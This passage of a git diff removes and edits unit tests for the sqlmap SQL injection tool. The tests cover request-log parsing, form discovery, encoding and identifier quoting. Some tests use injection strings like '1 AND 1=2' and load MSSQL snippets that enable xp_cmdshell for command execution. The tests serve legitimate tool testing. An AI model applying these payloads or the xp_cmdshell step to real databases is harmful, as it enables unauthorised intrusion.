conf.headers - conf.scope = None - - def tearDown(self): - conf.scope = self._scope - conf.method = self._method - conf.headers = self._headers - - def test_plain_burp_log_get(self): - content = ( - "======================================================\n" - "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" - "Host: www.target.com\n" - "Cookie: PHPSESSID=abc\n" - "======================================================\n" - ) - path = _write_temp(content, ".log") - try: - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - - self.assertEqual(len(targets), 1) - url, method, data, cookie, headers = targets[0] - self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") - self.assertEqual(method, HTTPMETHOD.GET) - self.assertIsNone(data) - self.assertEqual(cookie, "PHPSESSID=abc") - self.assertIn(("Host", "www.target.com"), headers) - - def test_burp_xml_history_base64_request(self): - req = "GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\nCookie: SID=xyz\r\n\r\n" - b64 = base64.b64encode(req.encode()).decode() - xml = ('80' - '' - '' % b64) - path = _write_temp(xml, ".xml") - try: - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - - self.assertEqual(len(targets), 1) - url, method, data, cookie, headers = targets[0] - self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") - self.assertEqual(method, HTTPMETHOD.GET) - self.assertEqual(cookie, "SID=xyz") - - def test_post_body_captured(self): - content = ( - "======================================================\n" - "POST http://www.target.com:80/login HTTP/1.1\n" - "Host: www.target.com\n" - "Content-Length: 17\n" - "\n" - "user=admin&pw=1\n" - "======================================================\n" - ) - path = _write_temp(content, ".log") - try: - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - - self.assertEqual(len(targets), 1) - url, method, data, cookie, headers = targets[0] - self.assertEqual(method, HTTPMETHOD.POST) - self.assertEqual(data, "user=admin&pw=1") - - def test_scope_filters_out_nonmatching(self): - content = ( - "======================================================\n" - "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" - "Host: www.target.com\n" - "======================================================\n" - ) - path = _write_temp(content, ".log") - try: - conf.scope = r"example\.org" # does not match target.com - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - self.assertEqual(targets, []) - - -class TestParseRequestFileWebScarab(unittest.TestCase): - """_parseWebScarabLog via parseRequestFile.""" - - def setUp(self): - self._scope = conf.scope - conf.scope = None - - def tearDown(self): - conf.scope = self._scope - - def test_get_conversation(self): - content = ( - "### Conversation : 1\n" - "URL: http://www.target.com/vuln.php?id=1\n" - "METHOD: GET\n" - "COOKIE: SID=abc\n" - ) - path = _write_temp(content, ".log") - try: - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - - self.assertEqual(len(targets), 1) - url, method, data, cookie, headers = targets[0] - self.assertEqual(url, "http://www.target.com/vuln.php?id=1") - self.assertEqual(method, "GET") - self.assertIsNone(data) - self.assertEqual(cookie, "SID=abc") - self.assertEqual(headers, tuple()) - - def test_post_conversation_skipped(self): - # POST bodies live in separate files -> WebScarab POSTs are skipped - content = ( - "### Conversation : 1\n" - "URL: http://www.target.com/login\n" - "METHOD: POST\n" - ) - path = _write_temp(content, ".log") - try: - targets = list(parseRequestFile(path)) - finally: - os.unlink(path) - self.assertEqual(targets, []) - - -class TestParseTargetDirectNonSmoke(unittest.TestCase): - """parseTargetDirect() non-smoke branch: resolves the canonical DBMS name. - - Uses SQLite because its driver (stdlib sqlite3) is always importable. - """ - - _KEYS = ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port") - - def setUp(self): - self._saved = {k: conf.get(k) for k in self._KEYS} - self._smoke = kb.smokeMode - self._params_none = conf.parameters.get(None) - - def tearDown(self): - for k, v in self._saved.items(): - conf[k] = v - kb.smokeMode = self._smoke - if self._params_none is None: - conf.parameters.pop(None, None) - else: - conf.parameters[None] = self._params_none - - def test_sqlite_local_dsn(self): - kb.smokeMode = False - conf.direct = "sqlite://%s" % os.path.join(SCRATCH, "test.db") - parseTargetDirect() - # non-smoke path canonicalizes the DBMS name via DBMS_DICT - self.assertEqual(conf.dbms, DBMS.SQLITE) - # local file DBMS: hostname forced to localhost, port 0 - self.assertEqual(conf.hostname, "localhost") - self.assertEqual(conf.port, 0) - self.assertEqual(conf.parameters[None], "direct connection") - - -class TestRemoveReflectiveValues(unittest.TestCase): - def setUp(self): - self._mech = kb.reflectiveMechanism - self._heur = kb.heuristicMode - kb.reflectiveMechanism = True - kb.heuristicMode = False - - def tearDown(self): - kb.reflectiveMechanism = self._mech - kb.heuristicMode = self._heur - - def test_reflected_payload_masked(self): - content = u"You searched for 1 AND 1=2 here" - out = removeReflectiveValues(content, "1 AND 1=2") - self.assertIn(REFLECTED_VALUE_MARKER, out) - self.assertNotIn("AND 1=2", out) - - def test_no_reflection_returns_content_unchanged(self): - content = u"nothing interesting" - out = removeReflectiveValues(content, "1 AND 1=2") - self.assertEqual(out, content) - - def test_none_payload_returns_content(self): - content = u"x" - self.assertEqual(removeReflectiveValues(content, None), content) - - def test_bytes_content_returned_as_is(self): - # non-text content short-circuits (isinstance text_type check) - content = b"1 AND 1=2" - self.assertEqual(removeReflectiveValues(content, "1 AND 1=2"), content) - - -class TestFindPageForms(unittest.TestCase): - def setUp(self): - self._scope = conf.scope - self._crawlExclude = conf.crawlExclude - self._cookie = conf.cookie - conf.scope = None - conf.crawlExclude = None - conf.cookie = None - - def tearDown(self): - conf.scope = self._scope - conf.crawlExclude = self._crawlExclude - conf.cookie = self._cookie - - def test_post_form_discovered(self): - html = ('' - '' - '
') - forms = findPageForms(html, "http://www.site.com") - self.assertEqual(forms, set([("http://www.site.com/input.php", "POST", "id=1", None, None)])) - - def test_get_form_discovered(self): - html = ('
' - '' - '
') - forms = findPageForms(html, "http://www.site.com") - self.assertEqual(len(forms), 1) - url, method, data, _cookie, _ = list(forms)[0] - self.assertEqual(method, "GET") - self.assertIn("q=x", url) - - def test_inline_js_post_discovered(self): - # the `.post('url', {k: v})` regex branch (independent of HTML form parsing) - html = "" - forms = findPageForms(html, "http://www.site.com") - self.assertTrue(any(m == HTTPMETHOD.POST and u.endswith("/api/save") for (u, m, d, c, e) in forms)) - - def test_blank_content_returns_empty_set(self): - self.assertEqual(findPageForms("", "http://www.site.com"), set()) - - -class TestSaveConfig(unittest.TestCase): - def test_writes_ini_with_sections(self): - path = _write_temp("", ".ini") - try: - saveConfig(conf, path) - with open(path) as f: - data = f.read() - finally: - os.unlink(path) - - # optDict families become [Section] headers - self.assertIn("[Target]", data) - self.assertIn("[Request]", data) - self.assertIn("[Enumeration]", data) - self.assertTrue(len(data) > 0) - - -class TestGetSQLSnippet(unittest.TestCase): - def test_mssql_proc_loaded(self): - snippet = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") - self.assertIn("RECONFIGURE", snippet) - - def test_variable_substitution(self): - # %VAR% placeholders are substituted from kwargs (here %ENABLE%); - # supplying it avoids the interactive "provide substitution values" prompt. - snippet = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE="1") - self.assertIn("xp_cmdshell", snippet) - self.assertIn("RECONFIGURE", snippet) - # comments (#...) are stripped and the placeholder is fully resolved - self.assertNotIn("#", snippet) - self.assertNotIn("%ENABLE%", snippet) - - -class TestCheckSystemEncoding(unittest.TestCase): - def test_noop_on_normal_encoding(self): - # On a normal default encoding this is a no-op and must not raise. - self.assertIsNone(checkSystemEncoding()) - - -class TestFormatGetOs(unittest.TestCase): - def setUp(self): - self._api = conf.api - conf.api = False - - def tearDown(self): - conf.api = self._api - - def test_humanizes_type_and_technology(self): - info = { - "type": set(["Linux"]), - "distrib": set(["Ubuntu"]), - "release": set(["8.10"]), - "technology": set(["PHP 5.2.6", "Apache 2.2.9"]), - } - out = Format.getOs("back-end DBMS", info) - self.assertTrue(out.startswith("back-end DBMS operating system: Linux")) - self.assertIn("Ubuntu", out) - self.assertIn("8.10", out) - self.assertIn("web application technology:", out) - - def test_api_mode_returns_dict(self): - orig = conf.api - try: - conf.api = True - info = {"type": set(["Windows"]), "technology": set(["IIS"])} - out = Format.getOs("back-end DBMS", info) - self.assertIsInstance(out, dict) - self.assertIn("web application technology", out) - finally: - conf.api = orig - - -class TestBackendSetters(unittest.TestCase): - """Backend OS/version setters write kb state; save and restore it.""" - - _KEYS = ("os", "osVersion", "osSP", "dbmsVersion") - - def setUp(self): - self._saved = {k: kb.get(k) for k in self._KEYS} - - def tearDown(self): - for k, v in self._saved.items(): - kb[k] = v - - def test_set_get_os(self): - kb.os = None - self.assertEqual(Backend.setOs("windows"), "Windows") # capitalized - self.assertEqual(Backend.getOs(), "Windows") - - def test_set_os_none_returns_none(self): - self.assertIsNone(Backend.setOs(None)) - - def test_set_os_version(self): - kb.osVersion = None - Backend.setOsVersion("2008") - self.assertEqual(Backend.getOsVersion(), "2008") - - def test_set_os_service_pack(self): - kb.osSP = None - Backend.setOsServicePack(3) - self.assertEqual(Backend.getOsServicePack(), 3) - - def test_set_get_version(self): - kb.dbmsVersion = [] - self.assertEqual(Backend.setVersion("5.7"), ["5.7"]) - self.assertEqual(Backend.getVersion(), "5.7") - - def test_set_version_list(self): - kb.dbmsVersion = [] - Backend.setVersionList(["8.0", "8.1"]) - self.assertEqual(Backend.getVersionList(), ["8.0", "8.1"]) - - -class TestUrlencodeExtraBranches(unittest.TestCase): - def test_like_percent_encoded(self): - # '%' inside a LIKE '...' literal is encoded to %25 - self.assertEqual(urlencode("AND name LIKE '%DBA%'"), - "AND%20name%20LIKE%20%27%25DBA%25%27") - - def test_convall_drops_safe_set(self): - self.assertEqual(urlencode("a&b", convall=True), "a%26b") - - def test_limit_does_not_crash_on_long_input(self): - out = urlencode("x " * 4000, limit=True) - self.assertTrue(len(out) > 0) - - def test_direct_mode_returns_value_unchanged(self): - orig = conf.direct - try: - conf.direct = "mysql://u:p@h:3306/d" - self.assertEqual(urlencode("a b"), "a b") - finally: - conf.direct = orig - - -class TestSafeStringFormatExtraBranches(unittest.TestCase): - def test_percent_d_in_payload_region_becomes_string(self): - fmt = "SELECT %s" + PAYLOAD_DELIMITER + " AND %d " + PAYLOAD_DELIMITER - self.assertEqual( - safeStringFormat(fmt, ("a", "5")), - "SELECT a" + PAYLOAD_DELIMITER + " AND 5 " + PAYLOAD_DELIMITER) - - def test_scalar_string_percent_preserved(self): - # single-string param path: plain replace, embedded '%' survives - self.assertEqual(safeStringFormat("LIKE %s", "100%done"), "LIKE 100%done") - - def test_two_params_list(self): - self.assertEqual(safeStringFormat("%s/%s", ("a", "b")), "a/b") - - -if __name__ == "__main__": - unittest.main(verbosity=2) diff --git a/tests/test_common_utils.py b/tests/test_common_utils.py deleted file mode 100644 index 9faa815f760..00000000000 --- a/tests/test_common_utils.py +++ /dev/null @@ -1,340 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Pure / near-pure helpers in lib/core/common.py. - -These cover the request/parameter parsing, charset construction, limit-range -generation, safe string formatting, URL encoding, UNION page parsing, target -URL/direct-connection parsing and SQL identifier quoting. They are exercised -in isolation (no network, no DBMS, no filesystem mutation); any function that -reads/writes global conf/kb state has that state saved and restored around the -call so test ordering stays irrelevant. -""" - -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms -bootstrap() - -from lib.core.common import ( - paramToDict, - getCharset, - getLimitRange, - parseUnionPage, - safeStringFormat, - urlencode, - parseTargetUrl, - parseTargetDirect, - safeSQLIdentificatorNaming, - getPartRun, - getText, -) -from lib.core.data import kb, conf -from lib.core.enums import PLACE, CHARSET_TYPE, DBMS - - -class TestParamToDict(unittest.TestCase): - """Parameter string -> OrderedDict for the various injection places.""" - - def test_get_two_params(self): - result = paramToDict(PLACE.GET, "id=1&name=foo") - self.assertEqual(list(result.items()), [("id", "1"), ("name", "foo")]) - - def test_get_preserves_order(self): - result = paramToDict(PLACE.GET, "c=3&a=1&b=2") - self.assertEqual(list(result.keys()), ["c", "a", "b"]) - - def test_post_place(self): - result = paramToDict(PLACE.POST, "user=admin&pass=secret") - self.assertEqual(result["user"], "admin") - self.assertEqual(result["pass"], "secret") - - def test_empty_value(self): - result = paramToDict(PLACE.GET, "id=&name=x") - self.assertEqual(result["id"], "") - self.assertEqual(result["name"], "x") - - def test_value_with_equal_signs(self): - # value is re-joined on '=' so embedded '=' survives - result = paramToDict(PLACE.GET, "token=a=b=c") - self.assertEqual(result["token"], "a=b=c") - - def test_cookie_delimiter(self): - # COOKIE place splits on ';' rather than '&' - result = paramToDict(PLACE.COOKIE, "foo=bar;baz=qux") - self.assertEqual(list(result.items()), [("foo", "bar"), ("baz", "qux")]) - - def test_param_without_equals_ignored(self): - # an element with no '=' has len(parts) < 2 and is skipped - result = paramToDict(PLACE.GET, "lonely&id=1") - self.assertEqual(list(result.items()), [("id", "1")]) - - -class TestGetCharset(unittest.TestCase): - """Inference charsets are fixed integer tables.""" - - def test_binary(self): - self.assertEqual(getCharset(CHARSET_TYPE.BINARY), [0, 1, 47, 48, 49]) - - def test_default_is_full_ascii(self): - self.assertEqual(getCharset(None), list(range(0, 128))) - - def test_digits(self): - result = getCharset(CHARSET_TYPE.DIGITS) - self.assertEqual(result, list(range(0, 10)) + list(range(47, 58))) - - def test_alpha_has_no_digits(self): - result = getCharset(CHARSET_TYPE.ALPHA) - # ASCII codes for '0'..'9' are 48..57; ALPHA must exclude them - self.assertFalse(any(48 <= _ <= 57 for _ in result)) - self.assertIn(ord("A"), result) - self.assertIn(ord("z"), result) - - def test_alphanum_superset_of_alpha(self): - alpha = set(getCharset(CHARSET_TYPE.ALPHA)) - alphanum = set(getCharset(CHARSET_TYPE.ALPHANUM)) - self.assertTrue(alpha.issubset(alphanum)) - self.assertIn(ord("5"), alphanum) - - def test_hexadecimal_contains_hex_letters(self): - result = getCharset(CHARSET_TYPE.HEXADECIMAL) - for ch in "0123456789abcdefABCDEF": - self.assertIn(ord(ch), result, msg="missing %r" % ch) - - -class TestGetLimitRange(unittest.TestCase): - def test_basic(self): - self.assertEqual(list(getLimitRange(10)), list(range(0, 10))) - - def test_plus_one(self): - self.assertEqual(list(getLimitRange(3, plusOne=True)), [1, 2, 3]) - - def test_string_count_coerced(self): - # count is int()-coerced internally - self.assertEqual(list(getLimitRange("4")), [0, 1, 2, 3]) - - def test_length(self): - self.assertEqual(len(getLimitRange(7)), 7) - - -class TestParseUnionPage(unittest.TestCase): - def test_none(self): - self.assertIsNone(parseUnionPage(None)) - - def test_two_entries(self): - page = "%sfoo%s%sbar%s" % (kb.chars.start, kb.chars.stop, kb.chars.start, kb.chars.stop) - # returns a BigArray; compare element-wise - self.assertEqual(list(parseUnionPage(page)), ["foo", "bar"]) - - def test_single_entry_unwrapped(self): - # a lone wrapped string is returned as the bare string, not a 1-element list - page = "%shello%s" % (kb.chars.start, kb.chars.stop) - self.assertEqual(parseUnionPage(page), "hello") - - def test_multi_column_row(self): - # a single row whose values are joined by kb.chars.delimiter becomes one - # nested list entry - page = "%sa%sb%s" % (kb.chars.start, kb.chars.delimiter, kb.chars.stop) - self.assertEqual(list(parseUnionPage(page)), [["a", "b"]]) - - def test_unmarked_page_returned_verbatim(self): - self.assertEqual(parseUnionPage("no markers here"), "no markers here") - - -class TestSafeStringFormat(unittest.TestCase): - def test_basic_tuple(self): - self.assertEqual(safeStringFormat("SELECT foo FROM %s LIMIT %d", ("bar", "1")), - "SELECT foo FROM bar LIMIT 1") - - def test_literal_percent_preserved(self): - self.assertEqual( - safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ("bar", "1")), - "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1") - - def test_single_string_param(self): - self.assertEqual(safeStringFormat("a %s b", "X"), "a X b") - - def test_scalar_non_string(self): - self.assertEqual(safeStringFormat("n=%d", 5), "n=5") - - -class TestUrlencode(unittest.TestCase): - def test_basic(self): - self.assertEqual(urlencode("AND 1>(2+3)#"), "AND%201%3E%282%2B3%29%23") - - def test_none(self): - self.assertIsNone(urlencode(None)) - - def test_spaceplus(self): - self.assertEqual(urlencode("a b", spaceplus=True), "a+b") - - def test_convall_encodes_safe_chars(self): - # with convall the explicit 'safe' set is dropped, so '/' gets encoded - self.assertEqual(urlencode("a/b", convall=True), "a%2Fb") - - def test_safe_char_default_kept(self): - # by default '-' and '_' are in the safe set - self.assertEqual(urlencode("a-b_c"), "a-b_c") - - -class TestParseTargetUrl(unittest.TestCase): - """parseTargetUrl mutates conf.* in place; save and restore everything touched.""" - - def _save(self): - return {k: conf.get(k) for k in - ("url", "scheme", "path", "hostname", "port", "ipv6")} - - def _restore(self, saved): - for k, v in saved.items(): - conf[k] = v - - def test_https_url(self): - saved = self._save() - orig_params = conf.parameters.get(PLACE.GET) - try: - conf.url = "https://www.test.com/?id=1" - parseTargetUrl() - self.assertEqual(conf.hostname, "www.test.com") - self.assertEqual(conf.scheme, "https") - self.assertEqual(conf.port, 443) - self.assertEqual(conf.parameters[PLACE.GET], "id=1") - finally: - self._restore(saved) - if orig_params is None: - conf.parameters.pop(PLACE.GET, None) - else: - conf.parameters[PLACE.GET] = orig_params - - def test_scheme_defaulted_and_port(self): - saved = self._save() - try: - conf.url = "example.org:8080/app" - parseTargetUrl() - self.assertEqual(conf.hostname, "example.org") - self.assertEqual(conf.scheme, "http") - self.assertEqual(conf.port, 8080) - finally: - self._restore(saved) - - def test_empty_url_returns_none(self): - saved = self._save() - try: - conf.url = "" - self.assertIsNone(parseTargetUrl()) - finally: - self._restore(saved) - - -class TestParseTargetDirect(unittest.TestCase): - """parseTargetDirect under smokeMode (early-returns before driver imports).""" - - def _save(self): - return {k: conf.get(k) for k in - ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port")} - - def _restore(self, saved): - for k, v in saved.items(): - conf[k] = v - - def test_full_mysql_dsn(self): - saved = self._save() - orig_smoke = kb.smokeMode - orig_none = conf.parameters.get(None) - try: - kb.smokeMode = True - conf.direct = "mysql://root:testpass@127.0.0.1:3306/testdb" - parseTargetDirect() - self.assertEqual(conf.dbms, "mysql") - self.assertEqual(conf.dbmsUser, "root") - self.assertEqual(conf.dbmsPass, "testpass") - self.assertEqual(conf.dbmsDb, "testdb") - self.assertEqual(conf.hostname, "127.0.0.1") - self.assertEqual(conf.port, 3306) - finally: - self._restore(saved) - kb.smokeMode = orig_smoke - if orig_none is None: - conf.parameters.pop(None, None) - else: - conf.parameters[None] = orig_none - - def test_quoted_password(self): - saved = self._save() - orig_smoke = kb.smokeMode - orig_none = conf.parameters.get(None) - try: - kb.smokeMode = True - conf.direct = "mysql://user:'P@ssw0rd'@127.0.0.1:3306/test" - parseTargetDirect() - self.assertEqual(conf.dbmsPass, "P@ssw0rd") - self.assertEqual(conf.hostname, "127.0.0.1") - finally: - self._restore(saved) - kb.smokeMode = orig_smoke - if orig_none is None: - conf.parameters.pop(None, None) - else: - conf.parameters[None] = orig_none - - def test_empty_direct_returns_none(self): - saved = self._save() - try: - conf.direct = None - self.assertIsNone(parseTargetDirect()) - finally: - self._restore(saved) - - -class TestSafeSQLIdentificatorNaming(unittest.TestCase): - """Quoting of identifiers is DBMS-specific; drive it via kb.forcedDbms.""" - - def _run(self, dbms, name, **kw): - orig = kb.forcedDbms - try: - kb.forcedDbms = dbms - return getText(safeSQLIdentificatorNaming(name, **kw)) - finally: - kb.forcedDbms = orig - - def test_mssql_keyword_bracketed(self): - self.assertEqual(self._run(DBMS.MSSQL, "begin"), "[begin]") - - def test_plain_name_unquoted(self): - self.assertEqual(self._run(DBMS.MSSQL, "foobar"), "foobar") - - def test_firebird_name_with_space_double_quoted(self): - self.assertEqual(self._run(DBMS.FIREBIRD, "foo bar"), '"foo bar"') - - def test_mysql_keyword_backticked(self): - self.assertEqual(self._run(DBMS.MYSQL, "select"), "`select`") - - def test_oracle_keyword_uppercased(self): - # Oracle quotes AND uppercases reserved words - self.assertEqual(self._run(DBMS.ORACLE, "table"), '"TABLE"') - - def test_unsafe_naming_passthrough(self): - orig = conf.unsafeNaming - try: - conf.unsafeNaming = True - self.assertEqual(self._run(DBMS.MYSQL, "select"), "select") - finally: - conf.unsafeNaming = orig - - -class TestGetPartRun(unittest.TestCase): - def test_no_dbms_handler_in_stack(self): - # called from a test (no conf.dbmsHandler.* on the stack) -> None - self.assertIsNone(getPartRun()) - - def test_non_alias_form_also_none(self): - self.assertIsNone(getPartRun(alias=False)) - - -if __name__ == "__main__": - unittest.main(verbosity=2) diff --git a/tests/test_compat.py b/tests/test_compat.py index 69edf2e7adc..98c54434437 100644 --- a/tests/test_compat.py +++ b/tests/test_compat.py @@ -21,8 +21,7 @@ from lib.core.compat import (WichmannHill, patchHeaders, cmp, choose_boundary, round, cmp_to_key, LooseVersion, _is_write_mode, - MixedWriteTextIO, _codecs_open, codecs_open) -from lib.core.compat import xrange + MixedWriteTextIO, _codecs_open) class TestWichmannHill(unittest.TestCase): diff --git a/tests/test_core_extra.py b/tests/test_core_extra.py deleted file mode 100644 index 5c1a5a282fa..00000000000 --- a/tests/test_core_extra.py +++ /dev/null @@ -1,676 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Additional REAL unit coverage for genuinely-uncovered PURE functions in: - - * lib/core/common.py - * lib/core/option.py - * lib/core/agent.py - * lib/request/basic.py - -Every test asserts a concrete, independently-reasoned known-correct value that -would FAIL if the function under test regressed. No isinstance-only checks, no -tautologies, no swallowed exceptions. - -Functions targeted here are deliberately DIFFERENT from those already exercised -by tests/test_common_utils.py, test_common_parsers.py, test_core_more.py, -test_core_final.py, test_option_setup.py, test_option_more.py, test_agent.py, -test_agent_dialects.py, test_decodepage.py and test_charset.py. - -stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. -""" - -import os -import sys -import unittest - -sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) - -from tests._testutils import bootstrap, set_dbms - -bootstrap() - -from lib.core.data import conf, kb -from lib.core.defaults import defaults -from lib.core.common import Backend -from lib.core.enums import DBMS - - -class TestCommonStringHelpers(unittest.TestCase): - """Small pure string/list/regex/encoding helpers in lib/core/common.py.""" - - def test_posix_to_nt_slashes(self): - from lib.core.common import posixToNtSlashes - self.assertEqual(posixToNtSlashes("C:/Windows"), "C:\\Windows") - self.assertEqual(posixToNtSlashes("a/b/c"), "a\\b\\c") - # falsy input returned unchanged - self.assertEqual(posixToNtSlashes(""), "") - self.assertIsNone(posixToNtSlashes(None)) - - def test_nt_to_posix_slashes(self): - from lib.core.common import ntToPosixSlashes - self.assertEqual(ntToPosixSlashes("C:\\Windows"), "C:/Windows") - self.assertEqual(ntToPosixSlashes("a\\b\\c"), "a/b/c") - self.assertEqual(ntToPosixSlashes(""), "") - - def test_is_hex_encoded_string(self): - from lib.core.common import isHexEncodedString - self.assertTrue(isHexEncodedString("DEADBEEF")) - self.assertTrue(isHexEncodedString("0x1234")) # 'x' is allowed by the regex - self.assertFalse(isHexEncodedString("test")) - self.assertFalse(isHexEncodedString("12 34")) # space breaks it - - def test_is_digit(self): - from lib.core.common import isDigit - self.assertTrue(isDigit("123456")) - self.assertFalse(isDigit("3b3")) - self.assertFalse(isDigit(u"\xb2")) # superscript-2: str.isdigit() True, isDigit False - self.assertFalse(isDigit("")) # empty -> no match - self.assertFalse(isDigit(None)) - - def test_sanitize_str(self): - from lib.core.common import sanitizeStr - self.assertEqual(sanitizeStr("foo\n\rbar"), "foo bar") - self.assertEqual(sanitizeStr("a\r\nb"), "a b") - self.assertEqual(sanitizeStr(None), "None") - - def test_filter_control_chars(self): - from lib.core.common import filterControlChars - self.assertEqual(filterControlChars("AND 1>(2+3)\n--"), "AND 1>(2+3) --") - # custom replacement character - self.assertEqual(filterControlChars("a\tb", replacement="_"), "a_b") - - def test_normalize_path(self): - from lib.core.common import normalizePath - self.assertEqual(normalizePath("//var///log/apache.log"), "/var/log/apache.log") - self.assertEqual(normalizePath("/a/b/../c"), "/a/c") - - def test_directory_path(self): - from lib.core.common import directoryPath - self.assertEqual(directoryPath("/var/log/apache.log"), "/var/log") - # no extension -> returned unchanged - self.assertEqual(directoryPath("/var/log"), "/var/log") - - def test_longest_common_prefix(self): - from lib.core.common import longestCommonPrefix - self.assertEqual(longestCommonPrefix("foobar", "fobar"), "fo") - self.assertEqual(longestCommonPrefix("abc", "abd", "abe"), "ab") - # single sequence returned verbatim - self.assertEqual(longestCommonPrefix("only"), "only") - - def test_first_not_none(self): - from lib.core.common import firstNotNone - self.assertEqual(firstNotNone(None, None, 1, 2, 3), 1) - self.assertEqual(firstNotNone(None, 0), 0) # 0 is not None - self.assertIsNone(firstNotNone(None, None)) - - def test_decode_string_escape(self): - from lib.core.common import decodeStringEscape - self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") - self.assertEqual(decodeStringEscape("a\\nb"), "a\nb") - # no backslash -> unchanged - self.assertEqual(decodeStringEscape("plain"), "plain") - - def test_encode_string_escape(self): - from lib.core.common import encodeStringEscape - self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") - self.assertEqual(encodeStringEscape("a\nb"), "a\\nb") - self.assertEqual(encodeStringEscape("plain"), "plain") - - def test_decode_encode_string_escape_roundtrip(self): - from lib.core.common import decodeStringEscape, encodeStringEscape - self.assertEqual(decodeStringEscape(encodeStringEscape("x\ty\nz")), "x\ty\nz") - - def test_escape_json_value(self): - from lib.core.common import escapeJsonValue - # newline gets escaped (literal '\n' becomes the two chars backslash+n) - self.assertNotIn("\n", escapeJsonValue("foo\nbar")) - self.assertIn("\\n", escapeJsonValue("foo\nbar")) - # tab gets escaped to '\t' - self.assertIn("\\t", escapeJsonValue("foo\tbar")) - # quote and backslash escaped - self.assertEqual(escapeJsonValue('a"b'), 'a\\"b') - self.assertEqual(escapeJsonValue("a\\b"), "a\\\\b") - # ordinary characters untouched - self.assertEqual(escapeJsonValue("plain text"), "plain text") - - def test_clean_query(self): - from lib.core.common import cleanQuery - self.assertEqual(cleanQuery("select id from users"), "SELECT id FROM users") - # already-uppercase keywords stay; identifiers untouched - self.assertEqual(cleanQuery("SELECT a FROM t"), "SELECT a FROM t") - - def test_json_minimize_canonical(self): - from lib.core.common import jsonMinimize - # key order / whitespace independence - self.assertEqual(jsonMinimize('{"b": 2, "a": 1}'), jsonMinimize('{"a":1, "b":2}')) - # nested leaf path - self.assertEqual(jsonMinimize('{"a": {"b": 1}}'), ".a.b=1") - # empty object - self.assertEqual(jsonMinimize("{}"), "") - # not parseable -> None (and only None) - self.assertIsNone(jsonMinimize("not json")) - - def test_json_minimize_array_length_registers(self): - from lib.core.common import jsonMinimize - # array length change must perturb the projection - self.assertNotEqual(jsonMinimize('{"a": [1, 2]}'), jsonMinimize('{"a": [1, 2, 3]}')) - - def test_list_to_str_value(self): - from lib.core.common import listToStrValue - self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") - # set/tuple/generator normalized via list first - self.assertEqual(listToStrValue((1, 2)), "1, 2") - # non-list passes through - self.assertEqual(listToStrValue("abc"), "abc") - - def test_intersect(self): - from lib.core.common import intersect - self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) - # order follows containerA - self.assertEqual(intersect([3, 2, 1], [1, 2]), [2, 1]) - # case-insensitive option - self.assertEqual(intersect(["FOO", "bar"], ["foo"], lowerCase=True), ["foo"]) - - def test_priority_sort_columns(self): - from lib.core.common import prioritySortColumns - # 'id'-containing columns first, then by ascending length - self.assertEqual( - prioritySortColumns(["password", "userid", "name", "id"]), - ["id", "userid", "name", "password"], - ) - - def test_safe_variable_naming(self): - from lib.core.common import safeVariableNaming - self.assertEqual(safeVariableNaming("class.id"), "EVAL_636c6173732e6964") - # plain identifier left untouched - self.assertEqual(safeVariableNaming("foobar"), "foobar") - - def test_unsafe_variable_naming(self): - from lib.core.common import unsafeVariableNaming - self.assertEqual(unsafeVariableNaming("EVAL_636c6173732e6964"), "class.id") - self.assertEqual(unsafeVariableNaming("foobar"), "foobar") - - def test_variable_naming_roundtrip(self): - from lib.core.common import safeVariableNaming, unsafeVariableNaming - self.assertEqual(unsafeVariableNaming(safeVariableNaming("a-b")), "a-b") - - def test_average(self): - from lib.core.common import average - self.assertAlmostEqual(average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), 0.9, places=6) - self.assertEqual(average([2, 4]), 3.0) - self.assertIsNone(average([])) - - def test_stdev(self): - from lib.core.common import stdev - self.assertEqual("%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), "0.063") - # fewer than 2 values -> None - self.assertIsNone(stdev([1.0])) - self.assertIsNone(stdev([])) - - -class TestCommonSafeCompare(unittest.TestCase): - """Constant-time / checksum helpers.""" - - def test_safe_compare_strings(self): - from lib.core.common import safeCompareStrings - self.assertTrue(safeCompareStrings("test", "test")) - self.assertFalse(safeCompareStrings("test1", "test2")) - self.assertFalse(safeCompareStrings("test", None)) - # both None compares equal (a == b path) - self.assertTrue(safeCompareStrings(None, None)) - - def test_safe_cs_value(self): - from lib.core.common import safeCSValue - # ensure deterministic delimiter - old = conf.get("csvDel") - conf.csvDel = defaults.csvDel - try: - self.assertEqual(safeCSValue("foo, bar"), '"foo, bar"') - self.assertEqual(safeCSValue("foobar"), "foobar") - self.assertEqual(safeCSValue("foo\rbar"), '"foo\rbar"') - self.assertEqual(safeCSValue('foo"bar'), '"foo""bar"') - finally: - conf.csvDel = old - - -class TestCommonSafeExString(unittest.TestCase): - def test_sqlmap_exception_message(self): - from lib.core.common import getSafeExString - from lib.core.exception import SqlmapBaseException - self.assertEqual(getSafeExString(SqlmapBaseException("foobar")), "foobar") - - def 